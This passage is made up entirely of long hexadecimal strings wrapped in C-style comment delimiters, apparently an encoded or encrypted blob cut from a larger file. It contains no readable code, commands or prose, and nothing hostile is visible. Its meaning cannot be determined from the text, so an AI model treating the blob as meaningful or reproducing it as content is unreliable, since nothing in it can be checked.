cd510406519be0e020d3dc41075bbc7817390d859ea26b3837ab5b89fad2901447405c2f3b9856128c205be6bcd947f2124f1733270c29b4d579c8cffd8ecb7164eb0f874b58b19318f0182d581c818e51f417955b5d6b0d221dd8222d650442b8a61c05e0da473f9f3865767f3cb2649c430acaf4df18d35d5123b5d06883e8757d493ff115c00a11854905da7669b3e646be5b87257c27fa1b7dbdda3589eb28900ca129858257cb361eb42f2eb49eeddd5568f549a786f722e02fbe07a89b6b5aeb3367812f97e26d69023a32b505bbaf382742861a213199b433fbbc12afe286b021a7835a7aed4c5908495abcabd9f27dcce597d312491b79c5558f15f1793c91201d7fabe41292585d7b156bc27d7d29843c05e24e5c9c50381639b122181355ed4b24da275f6f552954711edfd2ef9b5050b4e057b08914f906956d80c46b3ab1fcd574f571a9296da357181c3c0c03ebc7ac7bf6e8f96de0b62c963e585fdbdefabca5a9471a59d99a9ee8560d1dd7d89084ecb8f8e9f84a757130bb8c15a3754ba578f951e97d9dd060223b5cb02c2bea4f134ecbb04829e8780dfbf96b3c8a8357f3896a00ad065cad50a114e84daba87978*/
/*0812c3d3b59587137f1f0b17a780abda0d0f809eba4312b4968050dd3b6012255ec371ee4a0b810bbf8de1b065cfe676c91b90a31ad5dba269cb758cbdb0a8e7141da61bfee8bcdf9afb2791db684586b5c8b74945d05920c8211b0a549367052440767fde4a0d58040f94c7e097d1810fe88d38384d9b70281760ea956bbad7659d30bb622cbf2bace9d65def86473c34293bc01315103c571f01f331c78d2c5b3d9138ffcf1e6582eb5e1c89bedb8f7ddec0b564cdae8ab8fa49885b845085edd259c6ad4a1f524254cd88f7b1192841b796d40f13b1e6606a3c0fbaa006c9d99ade9ea1c5e543387116317995f42dd09968a3efc017e437a3b24c6e3a9c9441a7d0282bf4d25ba0141bd42187a34199dd83e55ed28dfbe446834baaa58f6425f25b0bdfaff500ba7ec87fd44c3251b60c110b620b83e45eea88aec674fa3bc382f46497808fb53789b77730be0d7108d2697d3d05704755e134ed5d1eb9bb183707545c87d2bec7e0631e9a8e8f76a508ddae4fa16d6a5a6819376c8e310ee897c98c72c9579f5b86fa2316c822bf4f6e74e0e11ff91e90a35d68f85de84872e31c37b30f2b57b6d270bb9e03f264fa5e2eb3b216f53804e2b04817ecb5cb1b01d5d24243632668ba27153d8ab7e6853029752a5b588e77e69f8a9598155c940781ca91dac24f8ac007a298d9f977015f3dec01914b5b0d755718a929f453b6f99791ef22af553c754bc58241cd389938a134306cf74bdb0b91440fb74d9842d14775392f7eceb8deddd861cb8ecc19efa9296a31439363085e148a57aac2bcafa501f11625194d3a53ec15fa0739800d729f6d68502b6616765d48310939ef5ce94e1beaa01f65b6175bf1c807311f59f002db75736e08be4ec827c8795d2d059b03b42a31c6232d4f5e750b9a8d4ff609fa8221dbe11086ed7d7e881e55791003eed86e7f5ea6a4fa1ead4fbc2c27689cfa0893a16b33e71a7f9624d1bcb6138ed6635618b8824f3788329ba0a02016441098551693c97db0b54ddf8f126c40beb4f70eaf0d032a2a28382cd2e4a9ac00ca129631c1d453cc1b9c0ded393573e4f1418a51b5d561427f54bff47ce48239ac8ca99c68fcd807ce52f284349c67b1fbde7e948892c944cceee327f5a340fe067c5f58d4064fe78e87c3235e4030cab2ecb776933ea58a547c1a462300cf6ca3ace59f48ffd371d290c225bc1d292dd4c430cfaf9d54e86632ff9801cdc330667e1523b2b1d3d960eec18dc82a742e9252e84e5877a8278efa9aadf4c82ba49b61caba739c82603ecee9c8394dc1ce9a3f1d4e6bf4bb02de44e5fa55d0f60e235c4aa09a92809e6414bb5e89298e29f93a63d8ba01f317f7c81bd5a7d7ed78f6c6c96bcab87eca33fe6e3d0636c050755d7d4721cfd0c0514e4417d28c0fcca0149fd02445f04eed1f9503b4aaad783911fb3a162cf31d604a40d4e26c74329691c04c277900a3c14e674ddaa91870cb7e244531d9f371429b7aba8e39f53f76427bcc4040300f71530af85787ee452c26883fb0199e2b80d56e7cc973917e326144a10844e388d2d9d4c3c06e6100dae2167d03f1e011bed07dc4425e868203230b887e24dc383bb91f681d2520505aa8429e09df96b2c383080b332369d9de1c5def3a3ea7e3dac7bedaac140c27ef1ae321ec8e28006de7940fd0431d77533e9418a1089e29c1a05d44f4d28025d800843b4caf850f5233cf109e76a943d06f360a580dc89f8dece3b60e5038c0fc91ac8537254a487d5c42f12e970cb63140e4b892a0ce176b9167e79e3d065ae00b9d902d4e3c03b5f9170624b197ea6fa93c66c87b4ca6e7fbf5627fa52fde776a7029d6c3315643aa7db1c0351a41df2e628b4c2c3a514fc57b4fde50d4c491af866b923d737893e33ea40fe51a5005086852a4c6aae5d4f49348d191bd820d29db51b8e9c71c97402e480d795dd83bec7df2790c4d66c1150a2ed061cbe2ebd93afc4419cf677a436fc99f46004a23d3bd36e77da2562bf7a8e171bebe5f6d35a2c66e7a289e586fb805c218f7972064a7686f5d9f242271ce126fcd61d919f022954eb9a8bd765e908e726e79e143f67c036c72d9dab93ffb1554e1157e681a2c953609df2fc0982612e7b49f87410d3e0d49ae705f9aa08f991453ff3b2ddae796136b967d644c212e6db27fd8cad0b21068985239365fe39f9bd1273fa3dc5b02e157c3c0ffe20104bfccbfd2fba794ca90533e8a0ab3158d2250b4a0dada3db1448d307aa806edaef0466f43752e055ab4858e96e88c2df070196e1a812ddf1ab9a5e2167da2e5ceea6e750038e345a2c2d6c90737125d6640e20a2d0cb0e27ae1373e4a94e6dfcbf42c3d49e4608469e92ec901fbe36cc7d11db059364ff77b618421c6d0973b30a9a720756be33f6e4ddf777a1fcf10d9fedbcaf1f78e0be1e543955d29c67d54171cf252b41744d6a6e994476160d0d19277f1f313abdfcaebf0469cfee081d0d63a8d17c277397e521511bdb37d6cf36028343ba8128ba89cac7e3714684f7d00b96fba4ae2c31f77a1f0521e4f096f986a7b52ac192161ec82ab2b89d0f034f8e7be5d3501ec4a10d7c82b7fc359bca8f854846beec4050006271b4d95141e92ea45ee4b339376d5e7ba1f1f918e84aca91675879ccdd8042b1a8bd7999866fb964a17f131804efc6490f1270f94da938d73597139180cf8720eacc37c6f7d80cf072768241d168569fa5abed0342e9ad697bbee47d36a3794c73b2b5f2ded75687fd33fcd368b350ecff8c6774fc799770b8a1bbae1c136dcc700b9eb3132e5*/
/*67c69ed5fdbf2679db251fce8d75eea80f48f7d4e61ebb6bc1fd962bb9259a4ff11e481cf4aee05750628548b71d51622b7247572c9e94cf9f3cf16a731fb549abef75afc7c14f5e99acf3c3fb7c7c463e71c63c4d19911c476cdf42f8d8013813eb164d0cc6b2387a92d914f475f0c2ebdc229cd16357abe9039509f1a4acd0acda9e187ae3320b299fa299f04b998f5ebe7b71d0bf948885d07b2e60bdd5081ea1241a82b28310b672ee9cb11f545cddcf347b989107dd639a772e072dffaa9a12233f5ae811463c28742b39cd9a23dea031e553b282bbfb5c4d16c0aa9b358143499ec2aa66019c114a4557dc90d07a628e57a73bfdfb02ba96b27357ed99e9616ca3efd52c9116a95dc36956e76d9a70ecbf633ba8842d93f56067aa65ae143c6fc7714e210f7cad4c9e3e981b31e6db0eb6c90a80ce9514a2133c8a337b37feb13a2950662047625f95081128931caf46050fa4750267524b61b0dc8c95b8e8898537a89d02669ce0c44c7ab33de3ed7becb5c77adeefae771e7b0fc82232659af318a4ae03da41fd8f0ea0bf3d32ed0cfe382977dbd5baba2ecd9b7c6699de22b7911fe014ab7bd18f2c163ebce34aa692bb207e67b559bc15c0b4ab13908284333c8c845f9d86f741a48ee7d5e23676db31dede937d543ae9b67c7d41c4548b4dcb7c604efac014b12a7046462c412c1a51571b9fc185172bf58a63c0f7a71cb6605a4c2e411d65aa8c90f9d2d7034c823914139a6e5625188ee8569a1b6266d0269d3bf498dcbf950c81abdd14206f9d5289ae320ed85a3ddad1fd04908afb64471ea8a85ded856e0b45c1274c6f26da45b901652d41d6a45aff1aadc276f09dbef6fa7894e979dba9e0d2ec88430bb26ca258a3712912b5468a9bbee55936a9652351ae653aaf59cee1a261892f4100ce13565ff03c04416ed3aa8bf6b8e9744a27ac51dbfbf60a0a118537cf26677d13b3d89bacc9fd64b1cd7578c6a9c7c4021e0da3b4ec6d7a4586cf81c41f275ec62d0f1fdcfd59758e1a6bac7ea9f61ca094b6b26ae5739ac9b202f3efef1aa1f5739198927884cae2380e482da9873206dfa7ad1bace87305731a83ac44ba870d6d8c79cf15370017b7755a804a3fec4fdc1067c4a1c3feeb63e27a43a993b40bc6abaab576be7b02a0cb180623f8230b2fbc45b5939773114078b66e50f757e93979ddb677854bfa632107334fba6d2342237b2d7815fd57fff8cd5dacce98a4ebc2a506628a32a3839cc994ec0d40a2b0ac4d00c7d45f6bae20afb3cbf49ebc0f77d88cdc8265c04c35d9063d798379fed93e6af27424b7ce3f2b14584f96e0cb923f7ada7d30a7e84bf3f965aa77e583571d84226ab52dc9da9387926c324a69c63bf0fc6de43288fec464aa28d374c81c6fd4d25752b67786c10812e00e4b24ab539bd3c48c60a8cf3a5fea938ecc2514621fcc0851a6a18f7cc46c6f9c0bb55f236986fb605a3628dbcba2eab5e995b1941e8b64ba49e033a2835cab1096dbd671f65bf3751d91cd735b30fd86223bca3059160d941bbbc8c208de007475487d3de177d0fea3584d8bc764cd878c6f0108a58264c5001c8506cf00868882f727b30b53830eef309cf6709b7ef93ab72eaf6ffca0a627c0051155627c5168a355d4996900d4c87806a32e12d1b462342d670cdea9dfe6c201237add131fa9d6f115f837abf0bb6ed9f5cec1b7a382e534453eed5d89b341fc00fc4b0d712e0a6e19e10f2037e846e36238355cbd5d9f849f3712e2f3e61e0caf2f38d18305d8877485b9529d7a167fe0fe75392f968d25b9424aa1b80ab6e951c1399648c9912998ae61c707958b17902ce8852a67807a1fff0d45fde34ff8fe13ebd51c2244ade496d1307f7bf599ca1f86addbec620975ffb8ff9c12e49d0f8a1c48a4f01395b684d7decc1491d2fff32b80bb5f0d82ca1090f574cebf501de79fdcee0e9c35632bdc87aa18d43872f24c4d1648ed585ba4b3e5ec84da5e7e55707b7f305c767a376873c652be1cc364c612937e256d278046c483d050659d33785e00c52b7440c1d273bdddfa888b68754cf7afb2cbb976c88a2ddc3a186af534ab03abbff0a1165b72d1eba78b2296e1a327e25653fac5b36f10a12ceb515cfd06c7b2aba9c7b26e60a5cee8f05c4594d7908f75afac9030525357ca1e12d535ad33ace0b2c8dc615f808fa92bf52da69cfe91592edc05ceef259989dfcc171a87f63b5f6f09e9555b450895b4c5d0c8ed72a104e37e77826c87cc5b7dd5a8334546e4aa1d28ae1752854fb9cbeefb4d40ef218f9b35716ac09cc61e494ab9d9529d7c7f16e55336aeb1cf33107233e009d37895d4191bcaa06fc003ed36e1e7d907182c224f589d56bce130699b5f94ec2529aebc32113bc4e14bb441fd3f74441e546d11f88904dffafb6dff38f69f395cbdfec4f64f11d652d5a2442f0201a91b5874a28a0c52e888293bd4416d34bacd149315f4d95dfdbcc9efbba5d6675d4023078b92e0c6f81884a91367cb87cb8959861c625df8c69430ce1ca67edc8fc41094a396833d599f4c833d022b3c996f876da3d2fe80dcdafe988269cb7e28d8bc90926e0114929aeefc12a28c786a53c59ae701c0030e66dd0994a67120b40f677a3e847a6c37ac0cb9851f30fc1caafb032525472470090fcd6784e038839dda3bd3dff36fbd795eb931ee0fb2fc0ef03122e54cea99d391f8c8b510dcfff7c6e8556e605ba47ef4baabbff31bc7ba5a83e2925540416706090421904e472fa71b98a63df667678968bc6582f461b77f37fed3405cf1163c288ab3*/
/*35a97373f67d88ac5838015306a8c6159c37f4a02d1c2db374b616fb245951884922df90f274770dd66f6a81c8b10d825e590d47dee905655cb8cc4d68bebe88faef3fa9b68de429aab76170baa10e3a805f1131c25a44ce2bb09ed3f54788caf84a465b759323b307d296bb5fad0cec2fcd5ea51b158acc64679bb5ac570896135bec275bcbdc31f11d864bef0c955427b7e5ceed04c90ab3d83b4d17a632f6475f71d388e81614bdeb421b7a29cae6069b3bd4dcfba8579c5da60118c195017c2bef222c71c0c7db2f3426a804777ca728350df750d3b987aae8acad0e4304242746b2581d69bb39a2c8953414df7281a93632441b6095499a0af9480ff06afe9cebff1c64beaf44775c78c526fe24ff5c5e124471248b78d8cc7a65f2c177d71c190e9b1f8c1d4ebebc64efb483d0347ad8428f1a066ce2df9a4042cddf83a0a3f0996a8c07baa76895219cd548317f66a0c7c4fd4fec453f769ddb58260651a31e8aef8834b649a3dc188bacb3b69b939ce957128af454566a403ed2c5045bd4c3dd4c7bf7f054147fa6c5acde5afb54f04f694fc40792f846bf06fe1f349aa09bc4429d0d75de0d8259b0e92fe4208f97d32c39116c4f9f450155f9deaa2e303830c929287586c94f63825d3ee0d5750554e106c85f2696b81f3246c54c021ff6d8a9bad635a703303502d9796e8f0ab5a52ba10efcf1b703cd0158c0c3a989643f10258f794fc69c0559bc42ce3d7cbaa3b15238c7e391dfc92b3f2f5c447119da0bc569670201ffa86c87dc52480cfd3d4b919917e53ebeabd831c836cb0e9f71b607504812ffd96140ae1d1a5b4a678d98d72eb86028f1769f207d0af511156bd4f0022059f998ed30f96b3e089be5b2399759e95de2f33b16a5fa2259c4a4094941157039c3208d1acc02f01dea401bc2d68a94e4d87e33dddf2ad4b8f323f7f2352d24f21bd4851a1cf18a27360db860585ce7b4f896d7ae4f8366ee67c9361d5972f04651219580a91cc20809854bdc7e851e9ae80cfc730ef41f01b08630ce9286a23250277c91a7d42c5698e32eadba09fe992025d0ea67951b8f72047293a5e1fe5e746dd0e38046e0571f337d2e5a15dcea3cb17e933b71ad3b8df43bfb4810b4a90896d3a3a41f320108010ff88e9ffc48a99ee96d4d306818c252659a1173788a3b12fc497897e8e1b0bb0e4007711f36a79352f23e7aef66cd28c2680b9d9fe0b7d0871d3863fd7068f6c72f0e156d334546811820991e1b45c34c00c1da5c364a85c983f66a79ada8555bdfc15521bf6c593837cd434e0295bbcca513c1e01c4b352fc8939d9afa3970f87cc0a06b5f1ba7bc7a20f608734168534641159f8355afd6da52783965f381b37820e1e92253eaec2968bfae26261dd658fc784468251efb053cd13f94a66e42660f0d64a55ac90d8839e558d506ae90819525094dca55e1ff10fd7c7f2b6bcf51fc27a846203c284406b836acb7030d60f6b171cdbe873b1fb486e45b2bb65da2d8b69fed77ffa043e2536d7fa7b47634a90447f250da1b5977ca115a1e9c869bdad50ea4be01f9cbb0ed8fcd21d531bad668857613a369ac7aed88c0cb0bb4eecc0a03301c70afcc1d2dd457963921ac42d74c38171f8dad240d2d2d3af46b5e46f21191b66d56c1090f2fae890b44a34e497abf9e9e772025ec6cdad887753a833593024b21cf932b9576730f6cae1ce87130c803bc9c07cfccf2ad8970e38fe4524de8f6f98293b7d42dc4b628894ac832f6bb8c0491e6a42a323bd32025f2dc531cb4a4914959c4b34a154a0d4d07d6b36c6395bf2296a91bb125164c66c921dee6bf2af24522b96edc0a69a6a37a6c68e7dd4c717adc0314f164905586a846345cd7e965e13ac4690df7ce56ae4170a6faa8419620dc6ea6930d2fffb276475c9cfdfa9af760e32e306907f5f00836be026543e52bf9eca0d2050ecf2969b6f1e7c8b719e6b8478fd4adfe865a2f841be7f26d6feec4e7d23adb5962b8571016f544fea45fee8c491deec1bf81873622aea13309f18841a88bf28e487731bba827651b2fd222e86dd5b99fed3a77667eb0c5cc9a3d951fc67a012ea22b4740d0b2a5f91d97dc7982261bd88cf0d117357bb3620a2457a0cf86f99512fd2c67eadca16b2da8c02035b473b23f7ec58b8806050ebda96646ebb6b203654e415af184f1e42d71dfb67909d992d3544bb78cd1ac5bd8f906d9259cced76c5c9109b3f173d2ed3ec63cd6a3137c816ea152725bdc7e338d0b0f19ea499a21cdd6dfbf37780609fd25126e34efbfdd46d3eca9520ff451c0c82fabd682933d206130cf71d2f03e9d211355532be976227e71c856a0657c6d13564bda8fa97c9626aa34ab786c82ed03c81d25200f93b20514e231f05fff2b99b7bf1c275471774900f8922db90a016102c166be5a82c3428fbf61c5a7904101113ce45fc96b5f9307610f164086ecd46f96ce981eb4bad851989a41fe98c25605f420c0c1c98678181f263d1ace1cb132af38635b4723a16448b0dbc684e955be27a7faefa349654e545496a57a76b86dd7f345a746a933ea686d1d87613196104a32ea1553deabb9efa9fae38288559be1848b831227a74571e5cd82c2194222edc91d09da2521a7bfba3276a2262de05a63cd79f4f6b56a5a5eddef5bee7cd7698266d1dd0c2d38ab200b21e1b4fc4eee4fe65fd1f6a8f9099408c110f007021420a3fc0f852c6dad43c626f18e59097cb45dafb4b52eac875d181184f89bcdfcc45fa327a059b946f95814c70098d35c27a21251b94ea72c3de58da660bdde07dd*/
/*da026468f9a81e555f602cbd33fbd50a90380006f2a0e8cc09bb28bf0317858f9b4308fc82dde1926a0eba608b2acc57a1bc36842674df8ceb744df27366b91b381cd55b65693b7165cee28fc68913b88b024da0dc67b749e246c6eb62a5daa932dfd58374e347f7ce9ea7b60345cb8f4b1837e48839af6bac3345999fb69c9a1ddd156d3ffd89419fd960b60bdc41e1eb113f0c471cfd10293a4a3fd1038d6d633ca765dd99a3c47aa1745cab975c6f18eee6ab3f868be9d3c3f94587ae351ffaa9bb617213a5bde4053f1a380015005fd1cfcf130b50ed9573ee0f4015ff7736b33f92578ff79091180471b903f23dc257f3092a05e62eb33c31fbbf58fcc83dbdf5bb53593f0858ff359b82175d46ad197ac303fc64292d8c65335e0b2fd5b38b5d5488e7d40c26c2c28f01d303b7d8015e6785382213b43b32eab79680572e7cde885d0697bdf57d264b2c0c15193e609c55716907a911b819a40a1a9b1bbf39ae409f648413da9c2308ad54a77de30534afe47ed6bd50f4aed3422c4648f1142a5c69b33fd0f5a402a8313fb905802a8a2e519d2d9161cc9edb860f940bdab0a9bb30c23cff6c9a84c33e46a759a607074860fa338ac4d9c55d3f2183216ed080f6a6c9742aa4d547832ab3cc2dd9d3b43664859d6f1f9a6c4f9c7256f74072a18e941320dc9765dbec9398b38fb6b2b0c58af33565f2d6dcb8a2a43cc92ea19e7163f8856c6bdd42a082a9d4f532b6a2bc909b9046a163668ab01c1d952b360a5f8e9ee3675e3de4436e4cb8e4489d0416ef326952692f34b4155d21c35e9bf903c82dd215e782d0682b6a15642e104bbda9633a65e6888df1cd018a928258e07f9b1fbfb2496b53909a4d1cb12a54c7ce11460a5203fc82a1e55d781b0bc747d4b6ec0af267420603c55574ca91d06a3bfc75743786fee9165a7195525a304ef6b02bb6b21645205a3011dbf639a7264bbe3592fe877f4f17510aee5a2eb63c1c91d2de02a4e413c880cbe90a4666a9680d37649b82424d78377decc8bdde31274f02bf50f656a1326be17cba8959ea5d57078235f65590f85a93aacbd613b084e9d144309e75251c8be1bb8f014df536b27d49e40fbcfd62b29b72de63ad8682d62590c06905b4234d014d29c2072452a5c7b06548752baa9534a9bbae15425b9d1c73487eeb96a94a95538f35627aa36357a872c95c4329aa88cc3c6e618ed35f58b7926677aa9cf67a73457346a8060501534b336f65904c25a8f13c05dac529713205fbb2f3bc2e6f587d021d9d0e5fd82ae5ce4220e4823e66d878f63b66c833e72d9433853cd0a20d916b11fc71a628c5a2200c06be5e9fa8315df2bf8fb6341e5ee1fefe11eee62841507b7aaaa2e3a35b511a9a0c2505791550fa26c597d0c223852cd5cb4a6904355d8bcb1ac11c412ab71ebaa045302051fd81b6652f1bd99bb6d9d6b5e12f72bc83a2cb388f17a5abe9a1b519921e76ee3c506e9a374c54917befeb578c21a8374ceb0c9b2554d88a71156484a9b3554373f02c2d15ace4e86708876ac0670e9895a5213bc1d6b568c9d6c182e8b5282e4218e5c98f52e8ded8df247f0d592a4156096438d6b6dc8167c5ae952e14f36be25f4207824fa94d79b532e70204dea553c041ffeba365a8e4809bb1817aa821a749aea117f023ec7f2c02ea59bcd28b0952a75c0a5eca8c493fdab44ac7b750c7a76db1fe986bbebdca1f552242afcaae5a91c899e0adcb7ab3e21b146171bd868c7f2a12f65b57b57a8dfa7b770e77840a8f07533337cb9bd6ca67ccad030e116bdfc8660ecf04e8250c7bf20490d1427b988a2f5d7b54a25989b39704279e8f50f77cfb301dfec4f7e137fcc9c5a39cd504da36275efc39f0fc4b007748c1b4ede56804ca662251dc316f53d6a7ef752d4f0e9b9291d3e6d711669dac45fd5f6ae1abb3c67f280f6ccf32537dc2047ffb500e3dac14e5b86a0d0065974080ea1b837fae08ef02f351a8443705be141e923b345848a48bda6abd58d89d0f3c78e2617d7d4cd2037c11336bf7ec308a5bf9074615260d926e795ad76adc7aa39a58a6de2b5a4143eeaf66d7ec2c5fb46a18e826512a36793f063e0c518e2b82fa88c6f90958f081ee2ceaa2d15944bb6e1268da6c498c4f6045c088dd8aa73499e9ca5aec21edf74bbaa753ead9a38535717e22696f4d21dfc3bf3e6cc648234f5d576ac79ac96e025f3863f73281ca32c6181d091d6f9a36aa085c78266f2ffe026aff5186805b428164dd4498f956a8740fabaf7f1810de0a2ca1ee3ba85ea3edca84bd5a1dd494ef2ca3ef84fa5de0bd7a270b673ed4e40e0a4f6a4d95909018a8b79abd54cb9a64c2cdc6db6e08709a349e0ed579d0235f3c5a982bc21dab7bf93a8004d8e049f588f304674e592de6cb33b4b297ce4de91a17f5fd19ab7fa8b27a73b220e0d2726b73dfcab5756857250bbe2a65bac6f4f19f8446d55d7338ea7ad948f9497349118ef96172533b001c5fab24f85c9b8f3acc13c5d23b8bd82dc8988d7111253b7cf2ceadb34c3ecbf9dff06cbdce7bd124c67f3ec63805545cb36d4cd80c5211cb53e2b6001f15392c55c4a94d407326b18d961934880250ff678d5ab844b31a6acbf161642be0ea46cc85219f9b489d1b10ebcb06cfbf98b0b2fb3f0438b585e8d217c66224502c2b5fa92ce3ce68a26014238533fd718224598c6fb9e71587bc9be02cf898d43627e264846831642b9afa38beddbc56e0019f757af821469b78d74b9f4cb20ec40ee4aca53ec4c024bf2e7af3b52059e52f957b7598150afcec5df413017e*/
/*ceab4e398a415e5f430d9aed5920feb80a7d570d07b42d1c1a1192a544d220c8fe86f0ddcd1cd983e514f96e436250a73b5c721326ac4ca6636776bb4d2fc40ef3bcb94302e88d2374a641983673179c557455bf99d22c8dbcdccc5f0512ec72be7efce4295bb7f7000ce41ee03778abf55b50493f31a03b8e254181ddd7349caaa8cd24dd9db4a65a341a62e98cc2be4967033c2fc0191baf07b591108382ff90e2ec2e039ab7d24ffbaf947cf08e23d0f71232bf3c9846199329a6a8af43b7e4984ae3d9cf2deb9f57b8bc3b1da7f6c1d4d6843db15950536bd8e410e2c38e45ba2722280c300987ff82a6d08050c5e153f5f9d402bf34efbe9b7721b872edd655a7f0ab7d1bc5876354d1aa5b990a3137d5fbd048f96e40e9420668412c0daadbf9a8cad56755fb27fcaf25380e2788a245188635b3a64116f2b4fad79c5e656ebae32889db54996e96b6a9737560e213b9d077576ed9e302fb344c742a4ae9a449a8b106c25d15fcf1b736ab5fd6fb25c1649bc4d0c2b59b4493dd38256f0510522fe985c81e70109185992009450c319350fdc67647a3e12f0b5e1ad3f66caf4417941593384657c322e2365665bdb1a6a4a284a4629af418000638884e3f9572b270a5792b8ab9989c8f01848489663276eb2453bc0658e0b145f7f335f8e0060d1b10f1fd0057fba7912a681cc6072e3ecf1972f5282b1ea87f686c6648de6b9efd06978da8ce5fd7e1334da3bf91d8acb0af266fa555b74b4f558a7c216c1ced347580c14de1fdb6b0c2e10e62328c5dbaa6aa6da7e9e4e668426a0ecd8e0ffa9280be07610aa557d65f6e935b9858823941517194d4a26ac8714ae5b5a56adec3ad249926cd588c5a255ef38b093f56473bd09cf2267210e20f50c19e109e7141936c03495bb5d8ff60015343a68c07f762d830c671f2a10bb472e83fb32e95ee75fbde7994f780f14f6c8ec54dbd610feef0d810546cd505d13f4237fbe192c2d82e383869a052384759be2b51bffe041e25be5f89ce0b5f1e232a3d384abc205d46ad467caaff065dbf64db8ae90d74d86f27ae023e0f24a9a5de0395726f235cee01bc4f85b2a36d3e858553c0ce930defedb33dcf08484caa9b5c4861904c1e68fee663340af31d5bd181e99dc8bc3543ccaf89dcb2ff03fe730024e772346fab747a4542697642e6402626b4c24bc6e20ce104a85666ec6758603bd8d18d88ad7449e970a15458af700204b4badeadd5ab129cc23aa097073504200ff64c3fca84f156adc98b34bac554107684ce0162ea09c4f38b0e027435f0c62c071e19f9a13db7946d9bb10d8bd0bec287451d6b598ed936875369d92097662513ed1b63f0b9d7dbe029c4f5c541b3f89e136d14039790226c1f9605d83d62fa56b34e5d1463703ba773237b5a9e5794981c1bd3e9e2ee2802cf5cdf20bffb2ea4e8b1641dd07cce0ffe1d680bb95b9d460e47fc960e5822f084df91bdef628c215fbc44ba04a0346cc9e3a5b63ea29d80624a8d698d29d8ab8cc30e9c53b23aa975c2f2d2f8c87bcb121336ec6abe739a7927c727a7bff5e3dd43b83c3665dbb4e0902a3dc0333cf7c42b1396bcae3ea9b505c7bf22949cc6eeacabea196d837e518739c3cef0dd9fad43867d6c63746f2707ebb8b065beca3d0832729f1cd877bac74f8421d802551e3419d00c1e352a03955afb679dcb2852c58d69f467a1231f3faac6f8ba33ccbc9b6d33913ce5a71dd9e22c15d2a364ba1f23c1a556fba2b8a2d0b89157f3759581f8701d0235c603c0c883122fbd59256ebdabb82fcb77ac11329b8ef135475878895061408b82add6e3801240527c4aa59b31b4b84a72a8e2f431c63be2339988487557bb6b30e307cf5d25e62f68c47cfd33e832522a0e39e8a4d91538848351c24ea45e06eb4ab323607dd35b72960973edd2c157e669c3edfc07c1c686fc0044de5816b52ce0e9a83967b9e619885ddf8210bd81d8ac7805a12c0bff7e3cb4c03f1612a2258fcf5fe8b13c68311e8747a22afbd5332cee71482cdc1746018a1b757bd13e7fe69b2993420e0f4b7fff3c4ab8c3f598a45d1986dbd0433ad4179f42939865c4d4f786977019a3a6d5c3354bdd09d5987acc47798deb3e188cc4375f8a4465ac5f4c22164403138a83c1691537c45475e568b20b518f104cb898d6f30be4708bf74c49821ca4bfae976df9f4990a0af37eb6036222ae899b20a7752fe37b10fd23614b23339196e472d3dbaf7f824273c014956e2b35be105d11cbb821acd9e8003c91eb4b043123f1d6d7dcd7027a85c649a7f6188d8d13682f2909184af6c3d5525807b245fa630e598c695335cf435cc0d6e6ed9748e8032b38354b9c201cd57463b140818a95ed24bb3075d3672d8fc7ed2ed4d37f8d606a6792ac469843438f852db71e7af36ab807378110141c5cec79d551bedcaf02d5a24b2fa37b78acc5f0fda5d7bdb165b05b70f961760f9daf2cf94a102f97acae98599af4b5cc3fac15834c87fe37b2f2ad005ec0d935c864eadc354a71b89cbae1aded9812eb6d80748d9d065e4a1a0ef629aad71130cc746a50f72724cbd8a9170ac1da1ed0da86b8da7d9a06cb1408ab79fc2883055e0b4c87220b1a621281cc4986c13e607a462d1f31ee4beacf3b9770c527275335a27701a4cb13fc6cc61252388ceafd3d5979d12a309aa45b06c0a14c762db5b1e0c5f411ec4cb136d474a8010e6ab4a88c16caf55fc39030eb7a5c6696c4e9e3a81941573e30ec113fe2dc0ea61e3f81c957fba7ccc9fe04590fc1da9b45f3399c05d897ce6b88aae30983*/
/*ff20d60571fe98f61d9a49fbb3252b7240a44ee0bc774d3195879e0319324d3fce7e22b534a2e2f707d68967c279d646837cab06046d2266759bd434394936b4192fd84e0b6bcd7b3c2db348912432ed227f4a49a597ce5533fb4f37dfe3451bf1e0494828c21f497cbd6b83032f125280ad45dd6ed8321af3a22c6380a25a822a1ae76a050b3403595872cf7a593dc5543e009e6da6b2839c051945ccd33486a9b5bf0958309a3f178c30d60c089a38ff05ad51c1cbeea53e41a170e887bf361e0bfe6341b602ac7d2f156513dc365f9d16a25f2e361fb8b978b2e435a6d192d2d91e1f4d7b34c63d6795fc037062064fe0cd6894b469767ad6af75d7c6a471c1477f2b01e89201ce0bccb161f3ae2f08158652847bbdc325bbbdb36cfed1fa732dc5b26f381f8625b04d0ea909522fc1ea3c64013e274abe96896f1d3b5dfd93141168396aae32e03c8a7a803d3f8536dc0421c753354bcfb7fd5ea29f003a88e72751e0a87a856ee91474a9ede11c2244233d21dda6ae13a7e541ed80c03db5d5eb337f52e5c57c92a4640747783aadd3167c22aa92505ba78949401ccd96770a1d3a1d4df8ed7c7a5edbdb0aeee59ed0e5039ef00ae84e5c0cd8aaa26e9a9e66febaae23ff1d485ebef21d6d8ee32075bdc0dfeddab8b3593d1cc43c2acfa5335c449ae67518fe04aa456cebc4d29d900d924db300287a6bcc26e9592317bbd6c14b634423bfe57dbc10028481679082aafefc1e1e0c2031383e2dde0b179a7215ef1b3c4f82a22b321f14f89657920ecdc64302bf4c20ef143d8f6979a44418672a9b2ba9cb9413dc9042036ec1db8485b3efc4644666a4f645075bfec75ef189bb8a89a872ee00890e92a85014bedbbc0b33a0c9ee1f2690be5110c5d2fa9c8e21c1102725631b8d5aeaf6aba648f78008986452614c547c9f56f1d09b67be39174f7613988342e75228afe64e53cff8be0ad11da1be44867f74cb3d798d4aca103026371095ac2998f629ed571a273aa3e5f871c24d90b9db7d9c70fd9dc7a121ce4f9ce6603c9b5c290f195f4c13f8533fdc0c37b3093ebf2c59f2b66a3908258fc78398328c2b3461bd141cdaca373521568c22a12cedaf0a5928d8934f5332356ac1429234c1277ce8103a949fb5fb2f183417f110fb9ba088d4fbdb029fae701fc7effab7dc6c723621f5553631abe403f0ab94f27302f93e17191503919b22dbf6142bc4e03e16e84c14991524a78705ffe77b8e35f2d80edd1c566fc02d6d2c9e6bf833e9f8968807bcbcbaf68badc8ef6ba1b693e382d06b932919e217e6f07b85d46d9e0666b4dd0d145afae196cdcb861f74a4ba0e413880f6033bb663393ddbed841f1db912c9a15f67901bbbd88c21dd7a5f7b1d7f1549e9833fc263e9de0492faab34b30e522a35478f5212823b6def56ac5d4a6c96706649b45d8fe87e7861b6bd8080b33b3cd55e899c10415d8d06845ddc49829ee655d7e63dca53f48993bf1d798feaee2acef3c057dc725f00ef7f425dcf70681c1afcc3006b71d7e7f2e192d66bfbf6fd4d27b77b3ca31a401b